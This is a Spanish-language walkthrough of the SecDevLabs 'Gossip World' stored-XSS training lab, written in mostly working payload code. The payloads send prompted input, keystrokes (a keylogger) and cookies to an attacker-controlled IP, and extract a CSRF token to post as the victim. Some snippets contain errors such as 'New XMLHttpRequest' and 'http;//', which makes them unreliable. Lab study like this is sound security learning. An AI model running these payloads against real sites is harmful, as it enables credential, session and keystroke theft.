Instalaci贸n
git clone https://github.com/globocom/secDevLabs
cd gossip-world
make install
Esto crear谩 un servicio que corre en el equipo local por el puerto 10007
SecDevLabs: 馃憖 Your app is starting!
SecDevLabs: 馃憖 Your app is still starting... (---*----)
SecDevLabs: 馃敟 A7 - Gossip World is now running at http://localhost:10007
Explotaci贸n
Lo primero que aparece es un panel de inicio de sesi贸n
Creo dos usuarios con las siguientes credenciales:
admin:admin123$!
rubbx:rubbx123$!
Inicio sesi贸n como rubbx
. Puedo ver una nueva interfaz
El campo New gossip
es vulnerable a inyecci贸n XSS
Las etiquetas script no las interpreta si trato de cargar un elemento externo hasta que no abro el post
En una sesi贸n de netcat
recibo la petici贸n
nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.16.130] from (UNKNOWN) [192.168.16.130] 37628
GET /pwned.js HTTP/1.1
Host: 192.168.16.130
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: */*
Referer: http://localhost:10007/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Creo un servicio HTTP con python
por el puerto 80
python3 -m http.server 80
Y un archivo pwned.js
donde introducir茅 mi c贸digo JavaScript. Algo que se puede hacer es tratar de abrir una ventana emergente en la que el usuario introduzca su input
var user_input = prompt("Ventana emergente", "Ejemplo de input")
Puedo adem谩s validar si el campo tiene contenido o est谩 vac铆o. En caso contrario, se tramitar谩 una petici贸n a mi equipo con los datos
if (user_input == null || user_input == ""){
alert("Campo vac铆o");
} else {
fetch("http://192.168.16.130:8080/?user_input=" + user_input);
}
Incluso se puede derivar a un Keylogger
var characters = "";
document.onkeypress = function(event) {
var character = event.key;
characters += character;
var image = new Image();
image.src = "http://192.168.16.130/" + character;
};
Es posible redirigir un usuario a un sitio web
window.location.href = "https://google.es";
Con respecto a las cookies, en caso de tener el HttpOnly
en false
, se puede tratar de dumpear de la misma forma que antes al tramitar la petici贸n, pero extray茅ndola de document.cookie
. Otra forma es utilizando XMLHttpRequest
var request = New XMLHttpRequest();
var req = ('GET', 'http;//192.168.16.130/?cookie=' + document.cookie);
request.send();
Se puede derivar a un CSRF, para tramitar peticiones por GET o POST a alg煤n elemento de la web como otro usuario. En este caso, se est谩 arrastrando un CSRF token a la hora de crear una publicaci贸n, por lo que si quiero crear una a trav茅s de la inyecci贸n, tendr铆a que obtenerlo
title=test&subtitle=test&text=test&_csrf_token=9bddf12b-2445-4349-bf81-06af29147a4d
Se suele encontrar en un campo oculto en el c贸digo fuente
curl -s -X GET http://localhost:10007/newgossip -H "Cookie: session=eyJfY3NyZl90b2tlbiI6IjliZGRmMTJiLTI0NDUtNDM0OS1iZjgxLTA2YWYyOTE0N2E0ZCIsInVzZXJuYW1lIjoicnViYngifQ.ZFU9eQ.-DuQJNNgO1NjTzUVJscv51nZe-E" | grep csrf | grep -oP '".*?"'
"_csrf_token"
"hidden"
"9bddf12b-2445-4349-bf81-06af29147a4d"
Lo extraigo desde la inyecci贸n XSS
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open = ('GET', domain, false);
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://192.168.16.130/?token=' + token);
req2.send();
Para crear el post se puede realizar de la siguiente forma:
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.withCredentials = true;
req1.open = ('GET', domain, false);
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=test&subtitle=test&text=test&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);